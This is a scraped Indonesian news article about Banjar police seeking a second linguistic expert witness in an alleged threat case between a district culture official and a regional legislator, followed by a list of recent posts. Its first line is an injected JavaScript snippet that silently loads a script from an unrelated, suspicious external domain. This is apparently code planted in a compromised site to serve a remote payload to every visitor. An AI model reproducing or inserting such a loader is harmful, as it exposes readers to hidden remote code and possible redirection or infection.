(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tuntaskan Kasus Rozanie, Polres Banjar Akan Panggil Saksi Ahli Bahasa


MARTAPURA, Satreskrim Polres Banjar masih harus mendengarkan perbandingan saksi ahli bahasa sebagai upaya penuntasan kasus dugaan pengancaman oleh Kepala Disbudpar Banjar Haris Rifani terhadap anggota DPRD Banjar Akhmad Rozanie Himawan Nugraha.

Begitu disampaikan Kapolres Banjar AKBP Takdir Matanette melalui Kepala Satreskrim Polres Banjar, AKP Sofyan disela sesi konfrensi pers pengungkapan kasus wilayah hukum Polres Banjar sepanjang 2018, bertempat halaman Polres Banjar, Senin (31/12) malam.

“Jadi untuk kasus dugaan ancaman tersebut, kita masih belum dapat menentukan kapan penuntasan kasus ini dapat dilakukan. Ini masih harus melibatkan perbandingan saksi ahli bahasa yang lain lagi, mengingat bahasa yang digunakan pada saat itu adalah bahasa daerah,” jelasnya.

Jebih jauh Sofyan mengatakan, hingga sekarang pihaknya sudah melihat saksi ahli bahasa daerah dan tinggal menunggu mencari saksi ahli bahasa lain untuk perbandingan. Sehingga nantinya dapat disimpulkan apakah ini bisa dimasuk dalam katagori pengancaman.

“Kita sudah mendengarkan saksi ahli daerah sini, sekarang tinggal mencari saksi ahli lain lagi, sehingga kita dapat menyimpulkan kasus tersebut dan dapat menentukan keputusan hukumnya,” pungkasnya.

Sebelumnya AKP Sofyan bahkan menjanjikan penuntasan kasus tersebut selesai sebelum pergantian tahun 2019. Namun langkah tersebut dipastikan akan berlanjut mengingat membutuhkan waktu untuk mendengarkan beberapa saksi ahli lagi minimal tiga orang.

Hingga sekarang pihaknya juga sudah banyak memintai keterangan, termasuk pelapor yakni Kepala Disbudpar Kabupaten Banjar, Haris Rifani. Hingga ahli bahasa yang berdomisili di Martapura, dan ahli bahasa yang berdomisili dari Malang.

Ancaman yang diduga dilakukan oleh seorang kepala dinas itu diduga tidak hanya melakukan ancaman langsung sewaktu di DPRD Banjar namun ada juga berupa ancaman melalui sms handphone, pihaknya bersama dengan Tim IT sudah melakukan gelar perkara dan hingga sekarang masih melacak nomor tersebut.

Dugaan pengancaman yang telah dilakukan Haris Rifani. Dalam laporan yang telah diadukan Rozanie dan Ismail Hasan, sebelumnya memang terdapat unsur Pasal 335 ayat (1) ke-1 KUHP yaitu suatu tindak yang tidak menyenangkan. “Tidak pidana 335 ayat (1) ke-1 KUHP memang sudah dicabut, namun masih didalami untuk unsur-unsur pengancamannya oleh polres Banjar,” terangnya.

Pengancaman terhadap Rozabie terjadi usai sidang paripurna DPRD Banjar, Rabu (6/6) sialm usai penyampaian hasil Pansus Hak Angket yang akhirnya kandas tersebut. (rendy)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.